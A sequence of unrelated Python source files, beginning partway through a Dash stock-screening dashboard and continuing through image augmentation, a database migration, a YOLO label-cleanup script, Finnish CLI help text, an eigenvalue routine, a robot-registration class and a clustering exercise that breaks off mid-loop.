            {'label': 'EBITDA Ranges', 'value': 'ebitda'},
            {'label': 'None', 'value': 'none'}
        ],
        inline=True,
        value='none',
        style={"color": "white"},
    ),

    dcc.Graph(id="time-series-chart", config={'displayModeBar': False}),

    html.Br(),

    html.Button('Update Graphh',
                n_clicks = 0,
                id='button',
                style = {
                'display':'flex',
                'justifyContent':'center',
                'align-items':'center',
                'margin': 'auto'
                }
    ),

    html.Br(),

    dcc.Dropdown(id='marketcap_selector',
                options=[
                    {'label': "0 - $250Millon", 'value': "0 - $250Million"},
                    {'label': "$250Million - $500Million", 'value': "$250Million - $500Million"},
                    {'label': "$500Million - $1Billion", 'value': "$500Million - $1Billion"},
                    {'label': '$1Billion - $10Billion', 'value': '$1Billion - $10Billion'},
                    {'label': '$10Billion - $50Billion', 'value': '$10Billion - $50Billion'},
                    {'label': '$50Billion - $100Billion', 'value': '$50Billion - $100Billion'},
                    {'label': '$100Billion - $500Billion', 'value': '$100Billion - $500Billion'},
                    {'label': 'Over $500Billion ', 'value': 'Over $500Billion'},
                ],
                multi=True,
                clearable = True,
                value = [],
                placeholder="Filter Sectors by Market Capitalization",
                searchable=True,
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.Dropdown(id='dividend_selector',
                options=[
                    {'label': '0% - 1%', 'value': '0% - 1%'},
                    {'label': '1% - 2.5%', 'value': '1% - 2.5%'},
                    {'label': '2.5% - 5%', 'value': '2.5% - 5%'},
                    {'label': '5% - 7.5%', 'value': '5% - 7.5%'},
                    {'label': '7.5% - 10%', 'value': '7.5% - 10%'},
                    {'label': '10% - 15%', 'value': '10% - 15%'},
                    {'label': '15% - 20%', 'value': '15% - 20%'},
                    {'label': 'Greater than 20%', 'value': 'Greater than 20%'},

                ],
                multi=True,
                clearable = True,
                value = [],
                placeholder="Filter Sectors by Dividend Yield",
                searchable=False,
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.Dropdown(id='pe_selector',
                options=[
                    {'label': 'Less than -10', 'value': 'Less than -10'},
                    {'label': '-10 - 0', 'value': '-10 - 0'},
                    {'label': '0 - 10', 'value': '0 - 10'},
                    {'label': '10 - 20', 'value': '10 - 20'},
                    {'label': '20 - 30', 'value': '20 - 30'},
                    {'label': '30 - 40', 'value': '30 - 40'},
                    {'label': '40 - 50', 'value': '40 - 50'},
                    {'label': '50 - 75', 'value': '50 - 75'},
                    {'label': '75 - 100', 'value': '75 - 100'},
                    {'label': 'Greater than 100', 'value': 'Greater than 100'},
                ],
                multi=True,
                clearable = True,
                value = [],
                placeholder="Filter Sectors by PE Ratio Scores",
                searchable=False,
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.Dropdown(id='revenue_selector',
                options=[
                    {'label': '$0 - $250Million', 'value': '$0 - $250Million'},
                    {'label': '$250Million - $500Million', 'value': '$250Million - $500Million'},
                    {'label': '$500Million - $1Billion', 'value': '$500Million - $1Billion'},
                    {'label': '$1Billion - $10Billion', 'value': '$1Billion - $10Billion'},
                    {'label': '$10BBillion - $50Billion', 'value': '$10Billion - $50Billion'},
                    {'label': '$50Billion - $100Billion', 'value': '$50Billion - $100Billion'},
                    {'label': 'Greater than $100Billion', 'value': 'Greater than $100Billion'},
                ],
                multi=True,
                clearable = True,
                value = [],
                placeholder="Filter Sectors by Revenue",
                searchable=False,
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.Dropdown(id='ebitda_selector',
                options=[
                    {'label': 'Less than -$100Million', 'value': 'Less than -$100Million'},
                    {'label': '-$100Million - -$50Million', 'value': '-$100Million - -$50Million'},
                    {'label': '-$50Million - $0', 'value': '-$50Million - $0'},
                    {'label': '$0 - $250Million', 'value': '$0 - $250Million'},
                    {'label': '$250Million - $500Million', 'value': '$250Million - $500Million'},
                    {'label': '$500Million - $1Billion', 'value': '$500Million - $1Billion'},
                    {'label': '$1Billion - $10Billion', 'value': '$1Billion - $10Billion'},
                    {'label': 'Greater than $10Billion', 'value': 'Greater than $10Billion'},
                ],
                multi=True,
                clearable = True,
                value = [],
                placeholder="Filter Sectors by Earnings (EBITDA)",
                searchable=False,
                style={'backgroundColor': '#1E1E1E'}),

    html.Br(),

    dcc.Graph(id="value-finder", config={'displayModeBar': False}),

])

#Callbacks
@app.callback(
    Output("time-series-chart", "figure"),
    [Input("stockselector", "value"),
    Input("sectorselector", "value"),
    Input("marketcap_selector", "value"),
    Input("dividend_selector", "value"),
    Input("pe_selector", "value"),
    Input("revenue_selector", "value"),
    Input("ebitda_selector", "value"),
    Input("colormap", "value")]
    )

def time_series_stock(ticker_dropdown, sector_dropdown, marketcap_selector,
                    dividend_selector, pe_selector, revenue_selector,
                    ebitda_selector, colormap):

    graphs = []

    #Flatten list
    if any(isinstance(i, list) for i in ticker_dropdown):
        ticker_dropdown = [item for elem in ticker_dropdown for item in elem]

    #graphs = []

    #Draw time series of a single stock
    for ticker in ticker_dropdown:
        stock_df = obj_iexcloud.get_max_time_series_df(ticker)
        graphs.append(go.Scatter(
            x = stock_df['Date'],
            y = stock_df[ticker],
            mode = 'lines',
            name = ticker,
            textposition = 'bottom center',
        ))

    parameters = {
        'Market Capitalization Ranges': marketcap_selector,
        'Dividend Ranges': dividend_selector,
        'PE Ratio Ranges': pe_selector,
        'Revenue Ranges': revenue_selector,
        'EBITDA Ranges': ebitda_selector
    }
    filled_parameters = {}
    for key, value in parameters.items():
        if value:
            filled_parameters[key] = value

    #Draw time series of sectors and filter
    sector_df = read_ticker_symbols()
    sector_df = sector_df[sector_df['Sector'].isin(sector_dropdown)]
    print(sector_df)
    #if marketcap_dropdown:
    for key in  filled_parameters:
        #sector_df = sector_df.loc[(sector_df['Market Capitalization Ranges'].isin(marketcap_dropdown))]
        sector_df = sector_df.loc[(sector_df[key].isin(filled_parameters[key]))]
    stock_list = list(sector_df['Symbol'])
    for stock in stock_list:
        stock_df = obj_iexcloud.get_max_time_series_df(stock)
        #Choose color based on metric
        if colormap == 'none':
            graphs.append(go.Scatter(
            x = stock_df['Date'],
            y = stock_df[stock],
            mode = 'lines',
            name = stock,
            textposition = 'bottom center',
            ))
        else:
            metric = colormap
            range = stock_information(stock, metric)
            color = colormap_value(metric, range)

            graphs.append(go.Scatter(
            x = stock_df['Date'],
            y = stock_df[stock],
            mode = 'lines',
            name = stock,
            textposition = 'bottom center',
            line=dict(color=f'#{color}'),
            ))

    if any(isinstance(i, list) for i in graphs):
        graphs = [item for elem in graphs for item in elem]

    fig = {
            'data': graphs,
            'layout': go.Layout(
            paper_bgcolor='rgba(30, 30, 30, 30)',
            plot_bgcolor='rgba(30, 30, 30, 30)',
            autosize=True,
            height = 550,
            xaxis = {'showgrid':True,
                'gridwidth':1,
                'gridcolor':'Grey',
                'color': 'White',
                'rangeselector': {
                    'buttons':list([
                            dict(count=1, label="1m", step="month", stepmode="backward"),
                            dict(count=6, label="6m", step="month", stepmode="backward"),
                            dict(count=1, label="YTD", step="year", stepmode="todate"),
                            dict(count=1, label="1y", step="year", stepmode="backward"),
                            dict(count=5, label="5y", step="year", stepmode="backward"),
                            dict(step="all")
                            ])
                        }
                    },
            yaxis = {'showgrid':True,
                'gridwidth':1,
                'gridcolor':'Grey',
                'color': 'White',
                    },
            legend=dict(
                font=dict(
                    color="white"
                    ),
                )
            )
        }

    return fig

@app.callback(
    Output("value-finder", "figure"),
    [Input("stockselector", "value"),
    Input("sectorselector", "value")]
    #Input("marketcap_selector", "value"),
    #Input("dividend_selector", "value"),
    #Input("pe_selector", "value"),
    #Input("revenue_selector", "value"),
    #Input("ebitda_selector", "value")]
    )

def value_finder(ticker_dropdown, sector_dropdown):

    #Flatten list
    if any(isinstance(i, list) for i in ticker_dropdown):
        ticker_dropdown = [item for elem in ticker_dropdown for item in elem]

    value_finder_df = read_ticker_symbols()
    value_finder_df['value'] = ((value_finder_df['Share Price'] -
                                value_finder_df['200 Day MA']) / value_finder_df['Share Price']) * 100

    value_finder_df = value_finder_df[value_finder_df['Symbol'].isin(ticker_dropdown)]

    fig = px.bar(value_finder_df, x="Symbol", y="value",
                color="Symbol")

    if sector_dropdown:
        if any(isinstance(i, list) for i in sector_dropdown):
            sector_dropdown = [item for elem in sector_dropdown for item in elem]

        value_finder_df = read_ticker_symbols()
        value_finder_df['value'] = ((value_finder_df['Share Price'] -
                                    value_finder_df['200 Day MA']) / value_finder_df['Share Price']) * 100

        value_finder_df = value_finder_df[value_finder_df['Sector'].isin(sector_dropdown)]

        #df_metrics = get_company_stats()

        #value_finder_df = pd.merge(value_finder_df, df_metrics[['Symbol', 'PE Ratio Ranges']], how='left', on='Symbol')

        fig = px.bar(value_finder_df,
                    x="Symbol",
                    y="value",
                    #color="PE Ratio Ranges",
                    color="Symbol",

                    )

    if not sector_dropdown and not ticker_dropdown:
        value_finder_df = read_ticker_symbols()
        value_finder_df['value'] = ((value_finder_df['Share Price'] -
                                    value_finder_df['200 Day MA']) / value_finder_df['Share Price']) * 100

        value_finder_df = value_finder_df.sort_values(by=['value'])
        value_finder_df = value_finder_df.head(15)

        fig = px.bar(value_finder_df,
                    x="Symbol",
                    y="value",
                    #color="PE Ratio Ranges",
                    color="Sector",
                    )

    fig.update_layout(autosize=True,
                    height=450,
                    paper_bgcolor='rgba(30, 30, 30, 30)',
                    plot_bgcolor='rgba(30, 30, 30, 30)',
                    xaxis = {'showgrid':True,
                            'gridwidth':1,
                            'gridcolor':'Grey',
                            'color': 'White'},
                    yaxis = {'showgrid':True,
                            'gridwidth':1,
                            'gridcolor':'Grey',
                            'color': 'White'},
                    legend=dict(
                    font=dict(
                        color="white"
                    ),
                )
            )

    return fig


from imgaug import augmenters as iaa
import imgaug as ia
import math
from imgaug.augmentables.kps import Keypoint, KeypointsOnImage

def imageAugmentation(image, bounding_box, image_height, image_width, num_aug_imgs=3, display=False):
    """
    Augments image given the bounding box with the shape and color (bounding_box).
    bounding_box format : [(top_left_x, top_left_y), (bottom_right_x, bottom_right_y)].
    Output will be a list of 10 augmented images with their corresponding labels.
    It will also display all images (including image) if display=True.
    """

    # define the augmentations
    # augmentation methods: 1. left right flip, 2. up down flip, 3. affine (scaling + rotate + up down left right tranformation + sheering)
    # 4. noise, 5. croping, 6. change color, 7. (50% of times) guassian blur, 8. change contrast, 9. make brighter or darker
    seq = iaa.Sequential([
        # iaa.Fliplr(0.5),
        iaa.Flipud(0.5),
        iaa.Affine(
            scale={"x": (0.9, 1.1), "y": (0.9, 1.1)},
            rotate=(-180, 180),
            # translate_percent={"x": (-0.1, 0.1), "y": (-0.1, 0.1)},
            shear=(-4, 4),
            mode="edge" # this will fill in newly-created pixels using the mode specified; more info at https://imgaug.readthedocs.io/en/latest/source/api_augmenters_geometric.html
        ),
        iaa.AdditiveGaussianNoise(scale=(10, 50)),
        iaa.Crop(percent=(0, 0.1)),
        iaa.AddToHueAndSaturation((-10, 10)),
        iaa.Sometimes(
            0.5,
            iaa.GaussianBlur(sigma=(0, 0.5))
        ),
        iaa.LinearContrast((0.75, 1.5)),
        iaa.Multiply((0.8, 1.2), per_channel=0.2),
    ], random_order=True)

    # convert boudning box into keypoints
    highest = bounding_box[0][1]
    lowest = bounding_box[1][1]
    leftmost = bounding_box[0][0]
    rightmost = bounding_box[1][0]
    key_pts = [
        Keypoint(leftmost, highest),
        Keypoint(rightmost, highest),
        Keypoint(leftmost, lowest),
        Keypoint(rightmost, lowest)
    ]
    key_pts_on_img = KeypointsOnImage(key_pts, shape=(image_height, image_width))

    # # get key points
    # key_pts_on_imgs = []
    # for i in range(no_of_imgs):
    #     # get the labels
    #     label_file = open(str(i) + ".txt")
    #     label = label_file.read()
    #     label_splitted = label.split()
    #     label_file.close()
    #     x_center = float(label_splitted[1])
    #     y_center = float(label_splitted[2])
    #     width = float(label_splitted[3])
    #     height = float(label_splitted[4])

    #     # convert labels into absolute coordinates of the corners
    #     highest = 600*(y_center - height/2)
    #     lowest = 600*(y_center + height/2)
    #     leftmost = 800*(x_center - width/2)
    #     rightmost = 800*(x_center + width/2)
    #     key_pts = [
    #         Keypoint(leftmost, highest),
    #         Keypoint(rightmost, highest),
    #         Keypoint(leftmost, lowest),
    #         Keypoint(rightmost, lowest)
    #     ]
    #     key_pts_on_img = KeypointsOnImage(key_pts, shape=(600, 800))
    #     key_pts_on_imgs.append(key_pts_on_img)

    # augment
    images_aug = [image]
    key_pts_on_imgs_aug = [key_pts_on_img]
    for _ in range(num_aug_imgs - 1):
        image_aug, key_pts_on_img_aug = seq(image=image, keypoints=key_pts_on_img)
        images_aug.append(image_aug)
        key_pts_on_imgs_aug.append(key_pts_on_img_aug)

    # find the highest, lowest, leftmost and rightmost points of key_pts_on_imgs_aug
    # then append to new_labels
    new_labels = []
    for i in range(num_aug_imgs):
        # initialize values
        highest = image_height
        lowest = 0
        leftmost = image_width
        rightmost = 0

        # determine highest, lowest, leftmost and rightmost
        for j in range(4):
            x_coord = key_pts_on_imgs_aug[i][j].x
            y_coord = key_pts_on_imgs_aug[i][j].y
            if x_coord > rightmost:
                rightmost = x_coord
            if x_coord < leftmost:
                leftmost = x_coord
            if y_coord < highest:
                highest = y_coord
            if y_coord > lowest:
                lowest = y_coord

        # append values to new_label, then to new_labels
        new_label = [(leftmost, highest), (rightmost, lowest)]
        new_labels.append(new_label)

    # display things
    if display == True:
        # images per row and number of rows for displaying
        images_per_row = 5
        rows = math.ceil(10/images_per_row)

        # display
        ia.imshow(
        ia.draw_grid(
            [key_pts_on_imgs_aug[i].draw_on_image(images_aug[i], size=10, color=(255, 69, 0)) for i in range(num_aug_imgs)],
            cols=images_per_row, rows=rows
            )
        )

    return images_aug, new_labels


import pprint

from src.get_search_result_with_api import get_search_result_with_keyword
from src.get_music_uri import get_single_music_url

def extract_all_rid(music_list):
    rids = []
    for item in music_list:
        rids.append(item['rid'])
        info = get_single_music_url(item['rid'])
        print(info)
    return rids

if __name__ == '__main__':
    search_key = 'shape of you'
    search_result = get_search_result_with_keyword('shape of you')
    all_rids = extract_all_rid(search_result)
    # print(all_rids)
    # first_rid = search_result[5]['rid']
    # single_music_info = get_single_music_url(first_rid)
    # pprint.pprint(single_music_info)


"""Restructure Document Indices

Revision ID: 8aabb57f3b49
Revises: 5e84129c8be3
Create Date: 2023-08-18 21:15:57.629515

"""
from alembic import op
import sqlalchemy as sa
from sqlalchemy.dialects import postgresql

# revision identifiers, used by Alembic.
revision = "8aabb57f3b49"
down_revision = "5e84129c8be3"
branch_labels = None
depends_on = None

def upgrade() -> None:
    op.drop_table("chunk")
    op.execute("DROP TYPE IF EXISTS documentstoretype")

def downgrade() -> None:
    op.create_table(
        "chunk",
        sa.Column("id", sa.VARCHAR(), autoincrement=False, nullable=False),
        sa.Column(
            "document_store_type",
            postgresql.ENUM("VECTOR", "KEYWORD", name="documentstoretype"),
            autoincrement=False,
            nullable=False,
        ),
        sa.Column("document_id", sa.VARCHAR(), autoincrement=False, nullable=False),
        sa.ForeignKeyConstraint(
            ["document_id"], ["document.id"], name="chunk_document_id_fkey"
        ),
        sa.PrimaryKeyConstraint("id", "document_store_type", name="chunk_pkey"),
    )


# yolo 이미지 박스 칠 때, txt파일 크기가 0인 것을 삭제하는 프로그램
import os

# 경로 설정
path = './help_data'
file_list = os.listdir(path)

# 삭제할 파일 빈 리스트로 선언
remove_file_name = []

# TXT 파일 삭제 중복문
for file_name in file_list:
    # 파일 이름 및 확장자 split으로 분리
    name, ext = os.path.splitext(file_name)
    if ext == '.txt' and name != 'classes':
        # 만약 txt 파일 크기가 0이라면
        if os.path.getsize(file_name)  == 0:
            # 아까 정의한 빈 리스트에 name을 추가한다.
            remove_file_name.append(name)
            # 크기가 0인 txt 파일 삭제
            os.remove(file_name)
            print(file_name, '삭제')

# jpg, jpeg, png 파일 삭제 중복문
for file_name in file_list:
    # 파일 이름 및 확장자 split으로 분리
    name, ext = os.path.splitext(file_name)
    # 만약 확장자가 jpg, jpeg, png라면
    if ext == '.jpg' or ext == '.jpeg' or ext == '.png':
        # txt 크기가 0인 확장자를 뺀 파일 이름 사진 파일 삭제
        for remove_name in remove_file_name:
            if remove_name == name:
                os.remove(file_name)
                print(file_name, '삭제')


from .command_strings import *

general_help = [['ENTER', '', 'Hyväksy/Palaa/Poistu'],
               [SHOW_HELP, '', 'Näytä tämä listaus'],
               [SHOW_QUOTA, '', 'Näytä jäljellä oleva tallennustila'],
               [LIST_FOLDER_SHORTCUTS, '', 'Listaa kansioiden pikavalinnat'],
               [LIST_DL_FOLDERS, '', 'Näydä nykyinen latauskansio ja pikavalinnat'],
               [SET_DL_FOLDER, 'POLKU', 'Aseta latauskansioksi POLKU'],
               [DL_FOLDER_SHORTCUT, 'NIMI', 'Aseta pikavalinta NIMI latauskansioksi'],
               [SET_DL_FOLDER_SHORTCUT, 'NIMI', 'Lisää nykyinen latauskansio pikavalinnaksi NIMI'],
               [SET_DL_FOLDER_SHORTCUT, 'NIMI | POLKU', 'Lisää latauskansio POLKU pikavalinnaksi NIMI'],
               [RELOAD_CONFIG, '', 'Päivitä asetukset tiedostoista settings.ini ja columns.ini'],
               [OPEN_CONFIG, '', 'Avaa settings.ini Muistiossa'],
               [OPEN_COLUMNS, '', 'Avaa columns.ini Muistiossa']]

folder_help = [general_help[0], general_help[1], general_help[2],
              ['', '#', 'Siirry kansioon # (numero)'],
              [ROOT_FOLDER, '', 'Siirry pääkansioon'],
              [FOLDER_UP, '', 'Siirry yläkansioon'],
              [LIST_FOLDERS, '', 'Listaa kansiot'],
              [NEW_FOLDER, 'NIMI', 'Luo uusi kansio NIMI'],
              [DELETE_FOLDER, '', 'Poista nykyinen kansio'],
              [DELETE_FOLDER, ' #', 'Poista kansio #'],
              [LIST_RECORDINGS, '', 'Listaa nykyisen kansion tallenteet'],
              [REFRESH_RECORDINGS, '', 'Päivitä kansiot'],
              [DOWNLOAD_FOLDER, '', 'Lataa nykyisen kansion tallenteet'], general_help[2],
              [SET_SHORTCUT, 'NIMI', 'Lisää nykyinen kansio pikavalinnaksi NIMI']] + general_help[3:]

recording_help = [general_help[0], general_help[1], general_help[2],
                 [RESTORE_RECORDINGS, '##', 'Palauta tallenteet ## Elisa Viihteen roskakorista'],
                 [LIST_FILTERED, '', 'Listaa suodatetut tallenteet'],
                 [SHOW_WIDTH, '', 'Näytä tallenteiden listaukseen tarvittava terminaalin leveys'],
                 [PRINT_DESCRIPTIONS, '', 'Näytä/piilota tallenteiden kuvaukset'],
                 [SHOW_SORTING_HELP, '', 'Näytä lajitteluavaimet'],
                 [SORT_RECORDINGS, '%', 'Järjestä tallenteet nousevasti avaimen % mukaisesti (ks. LUEMINUT)'],
                 [SORT_RECORDINGS_DESC, '%', 'Järjestä tallenteet laskevasti avaimen % mukaisesti (ks. LUEMINUT)'],
                 [REFRESH_RECORDINGS, '', 'Päivitä tallenteet ja kansiot'],
                 [LIST_FILTERS, '', 'Listaa käytössä olevat suotimet'],
                 [SHOW_FILTER_HELP, '', 'Listaa mahdolliset suotimet'],
                 [CLEAR_FILTERS, '', 'Poista kaikki suotimet'],
                 [CLEAR_LAST_FILTER, '', 'Poista viimeisin suodin'],
                 [CLEAR_FILTER, 'X', 'Poista suodin numero X'],
                 [CHANNEL_DAY, '#', 'Näytä tallennetta # edeltävät ja seuraavat tallenteet'],
                 [HIDE_RECORDINGS, '##', 'Suodata pois tallenteet ##'],
                 [EXCLUDE_FOLDER, '', 'Suodata pois valittavassa kansiossa sijaitsevat tallenteet'],
                 [EXCLUDE_FOLDER, ' #', 'Suodata pois tallenteen # kansiossa sijaitsevat tallenteet'],
                 [EXCLUDE_FOLDER, ' > NIMI', 'Suodata pois kansiossa, jonka pikavalinta on NIMI, sijaitsevat tallenteet'],
                 [REMOVE_DUPLICATES, '', 'Etsi duplikaatit (sama nimi ja kuvaus)'],
                 [REMOVE_DUPLICATES, ' X', 'Etsi duplikaatit, hakumoodi X (ks. LUEMINUT)'],
                 [PLAY_RECORDING, '#', 'Toista tallenne # (numero)'],
                 [SHOW_DESCRIPTION, '#', 'Näytä tallenteen # kuvaus'],
                 [SHOW_INFO, '#', 'Näytä tallenteen # tiedot'],
                 [SHOW_URL, '#', 'Näytä tallenteen # URL'],
                 [DOWNLOAD_RECORDINGS, '##', 'Lataa tallenteet ##'],
                 [DELETE_RECORDINGS, '##', 'Siirrä tallenteet ## roskakorikansioon'],
                 [RECYCLE_RECORDINGS, '##', 'Poista tallenteet ## Elisa Viihteen roskakoriin'],
                 [MOVE_RECORDINGS, '##', 'Siirrä tallenteet ## valittavaan kansioon'],
                 [MOVE_RECORDINGS, '## > NIMI', 'Siirrä tallenteet ## kansioon, jonka pikavalinta on NIMI'],
                 [MOVE_RECORDINGS, '## _ #', 'Siirrä tallenteet ## kansioon, jossa tallenne # sijaitsee'], general_help[2],
                 [SET_FOLDER_SHORTCUT, 'NIMI', 'Lisää valittava kansio pikavalinnaksi NIMI'],
                 [SET_FOLDER_SHORTCUT, 'NIMI | #', 'Lisää tallenteen # sisältävä kansio pikavalinnaksi NIMI']] + general_help[3:]

filter_help = [[F_NAME, 'TEKSTI', 'Tallenteen nimi sisältää tekstin'],
              [F_DESCRIPTION, 'TEKSTI', 'Tallenteen kuvaus sisältää tekstin'],
              [F_CHANNEL, 'TEKSTI', 'Tallenteen kanavanimi sisältää tekstin'],
              [F_DURATION, 'X tai HH:MM', 'Tallenteen pituus vähintään X min tai HH tuntia, MM minuuttia'],
              [F_START_TIME, 'YYYY-MM-DD tai DD.MM.YYYY', 'Tallennus alkoi ennen päivämäärää'],
              [F_END_TIME, 'YYYY-MM-DD tai DD.MM.YYYY', 'Tallennus päättyi ennen päivämäärää'],
              [F_WEEKDAY, 'VIIKONPÄIVÄN LYHENNE', 'Tallennus alkoi viikonpäivänä'],
              [F_TIME, 'HH:MM', 'Tallennus alkoi ennen kellonaikaa'],
              [F_ACTOR, 'SUKUNIMI, ETUNIMI', 'Näyttelijä esintyy tallenteella'],
              [F_DIRECTOR, 'SUKUNIMI, ETUNIMI', 'Tallenne on ohjaajan ohjaama'],
              [F_IMDB, 'X.Y', 'Tallenteen IMDB-pisteet vähintään X.Y'],
              [F_SHOWTYPE, 'TEKSTI', 'Tallenteen showtype (metadatassa) sisältää tekstin'],
              [F_GENRE, 'TEKSTI', 'Jokin tallenteen genreistä (metadatassa) sisältää tekstin'],
              [F_SERIES, 'TEKSTI', 'Sarjan nimi sisältää tekstin'],
              [F_EPISODE_NAME, 'TEKSTI', 'Sarjan jakson nimi sisältää tekstin'],
              [F_SEASON, 'XX', 'Sarjan kausi XX'],
              [F_EPISODE, 'XX', 'Sarjan jakso XX']]

sorting_help = [['s', 'alkamisaika'],
               ['e', 'päättymisaika'],
               ['n', 'nimi'],
               ['d', 'kesto'],
               ['c', 'kanava'],
               ['i', 'IMDB-arvosana'],
               ['r', 'poistuu lopullisesti']]

def print_help(position, trash = False):
    if position == 'folders':
        print('\033[92m{:<20}{}\033[39m'.format('Komento', 'Selite'))
        for x in folder_help:
            help_line = '{:<20}{}'.format(x[0] + x[1], x[2])
            print(help_line)
    elif position == 'recordings':
        print('\033[92m{:<20}{}\033[39m'.format('Komento', 'Selite'))
        if trash:
            for x in recording_help:
                if not x[0] in [PLAY_RECORDING, SHOW_URL, DOWNLOAD_RECORDINGS, RECYCLE_RECORDINGS]:
                    help_line = '{:<20}{}'.format(x[0] + x[1], x[2])
                    print(help_line)
        else:
            for x in recording_help:
                if not x[0] in [RESTORE_RECORDINGS]:
                    help_line = '{:<20}{}'.format(x[0] + x[1], x[2])
                    print(help_line)
    elif position == 'filters':
        print('\033[92m{:<30}{}\033[39m'.format('Komento', 'Selite'))
        for x in filter_help:
            help_line = '{:<30}{}'.format(x[0] + ' ' + x[1], x[2])
            print(help_line)
    elif position == 'sorting':
        l = len(sorting_help)
        print('\033[92m{:<12}{}\033[39m'.format('Avain', 'Selite'))
        for i, x in enumerate(sorting_help):
            if not trash and i == l - 1:
                break
            help_line = '{:<12}{}'.format(x[0], x[1])
            print(help_line)


from Matrix_Class import Matrix
from math import fabs
from sqrt_algo import sqrt
from Householder_algo import Householder_decomposition

def quasi_triangular(A:Matrix, EPS1 = 1e-9) -> bool:
    n = len(A)
    for i in range(n):
        for j in range(i-1):
            if (fabs(A[i][j]) > EPS1): return False;

    for i in range(n-1):
        if (fabs(A[i+1][i]) < EPS1): continue;
        else:
            flag1 = flag2 = True
            if (i + 2 < n): flag1 = fabs(A[i+2][i+1]) < EPS1
            if (0 < i - 1): flag2 = fabs(A[i][i-1]) < EPS1
            if (not (flag1 and flag2)): return False;
    return True;
'''
def some_check(A:Matrix, EPS1 = 1e-9) -> bool:
    n = len(A)
    k = 0
    for i in range(n):
        for j in range(i-1):
            k += fabs(A[i][j])
    return k < EPS1'''

def find_eigenvalues(A:Matrix) -> list:
    n = len(A)
    curA = Matrix([[A[i][j] for j in range(n)] for i in range(n)])
    nextA = Matrix([[A[i][j] for j in range(n)] for i in range(n)])
    count = 0
    while (True):
        if (quasi_triangular(nextA) or count > 50_000): break;
        curA = Matrix([[nextA[i][j] for j in range(n)] for i in range(n)])
        shift = Matrix([[curA[n-1][n-1]*int(i==j) for j in range(n)] for i in range(n)])
        Q,R = Householder_decomposition(curA - shift)
        nextA = R*Q + shift
        count += 1
    ans = [0]*n
    i = 0
    while (i < n):
        if (i + 1 == n or fabs(nextA[i+1][i]) < 1e-9):
            ans[i] = nextA[i][i]
        else:
            Re_z = (nextA[i][i] + nextA[i+1][i+1])/2
            det = (nextA[i][i]*nextA[i+1][i+1] - nextA[i][i+1]*nextA[i+1][i])
            Im_z = (det - Re_z**2)**0.5
            ans[i],ans[i+1] = (Re_z + 1j*Im_z), (Re_z - 1j*Im_z)
            if (fabs(ans[i].imag) < 1e-11 and fabs(ans[i+1].imag) < 1e-11): ans[i],ans[i+1] = ans[i].real,ans[i+1].real
            i += 1
        i += 1
    return ans;
    #return nextA,curA,ans,count


from operator import imod
from pony.orm import *
import base64

import sys
sys.path.append("..")
from fun.Sesion import SesionDB

class RegistrarRobot:

    def __init__(self, db_nombre):
        self.db = SesionDB(db_nombre)

    def registrarRobotNuevo(self, ro_dic):
        id_robot = None
        if (ro_dic["avatar"] == None):
            registro = dict(
                id_usuario = self.db.obtenerIdUsuario(ro_dic["nombre_usuario"]),
                nombre_usuario = ro_dic["nombre_usuario"],
                nombre_robot = ro_dic["nombre"],
                codigo = ro_dic["codigo"])
            id_robot = self.db.registrarRobotSinAvatar(registro)
        else:
            registro = dict(
            id_usuario = self.db.obtenerIdUsuario(ro_dic["nombre_usuario"]),
                nombre_usuario = ro_dic["nombre_usuario"],
                nombre_robot = ro_dic["nombre"],
                avatar = ro_dic["avatar"],
                codigo = ro_dic["codigo"])
            id_robot = self.db.registrarRobotConAvatar(registro)
        return id_robot

    def registrarRobot(self, ro_dic):
        respuesta = {}
        if(not self.db.existeNombreUsuario(ro_dic["nombre_usuario"])):
            respuesta = {"result":"Usuario_No_Registrado"}
        else:
            id = self.registrarRobotNuevo(ro_dic)
            respuesta = {"id":id}
        return respuesta


import math

import numpy as np
from matplotlib import pyplot as plt
import random
alpha = 10E-2
def ex2_a():
    r1_List = []
    r2_List = []
    mean = [3, 3]
    cov = [[1, 0], [0, 1]]
    a = np.random.multivariate_normal(mean, cov, 500).T
    mean = [-3, -3]
    cov = [[2, 0], [0, 5]]
    b = np.random.multivariate_normal(mean, cov, 500).T
    c = np.concatenate((a, b), axis=1)
    c = c.T
    np.random.shuffle(c)
    c = c.T
    x = c[0]
    y = c[1]
    plt.plot(x, y, 'x',alpha=0.2)
    r1 = random.choice(c.T)
    r2 = random.choice(c.T)
    iterations = 10
    d1 = np.array([0,0])
    d2 = np.array([0, 0])
    for i in range(iterations):
        for point in c.T:
                r1Close: float = np.sqrt((r1[0] - point[0]) ** 2 + (r1[1] - point[1]) ** 2)
                r2Close: float = np.sqrt((r2[0] - point[0]) ** 2 + (r2[1] - point[1]) ** 2)
                if r1Close < r2Close:
                    d1 = d1 + (point - r1)
                else:
                    d2 = d2 + (point - r2)
        r1 = r1 + (alpha/1000)*d1
        r2 = r2 + (alpha / 1000) * d2
        r1_List.append((r1[0], r1[1]))
        r2_List.append((r2[0], r2[1]))
    r1_List_NPArray_T = np.asarray(r1_List).T
    r2_List_NPArray_T = np.asarray(r2_List).T

    plt.scatter(r1_List_NPArray_T[0], r1_List_NPArray_T[1],label = "r1_list")
    plt.scatter(r2_List_NPArray_T[0], r2_List_NPArray_T[1],label = "r2_list")
    plt.legend()
    plt.axis('equal')
    plt.show()

def ex2_b():
    r1_List = []
    r2_List = []
    mean = [3, 3]
    cov = [[1, 0], [0, 1]]
    a = np.random.multivariate_normal(mean, cov, 500).T
    mean = [-3, -3]
    cov = [[2, 0], [0, 5]]
    b = np.random.multivariate_normal(mean, cov, 500).T
    c = np.concatenate((a, b), axis=1)
    c = c.T
    np.random.shuffle(c)
    c = c.T
    x = c[0]
    y = c[1]
    #plt.plot(x, y, 'x',alpha=0.2)
    r1 = random.choice(c.T)
    r2 = random.choice(c.T)
    iterations = 10
    d1 = np.array([0,0])
    d2 = np.array([0, 0])

    closer_r1_cluster_a = []
    closer_r1_cluster_b = []
    closer_r2_cluster_a = []
    closer_r2_cluster_b = []
    a_transposed = a.T
    b_transposed = b.T

    for i in range(iterations):
        for point in c.T:
                r1Close: float = np.sqrt((r1[0] - point[0]) ** 2 + (r1[1] - point[1]) ** 2)
                r2Close: float = np.sqrt((r2[0] - point[0]) ** 2 + (r2[1] - point[1]) ** 2)
                if r1Close < r2Close:
                    d1 = d1 + (point - r1)
                else:
                    d2 = d2 + (point - r2)
                if r1Close < r2Close:
                    if point in a_transposed:
                        closer_r1_cluster_a.append(point)
                    elif point in b_transposed:
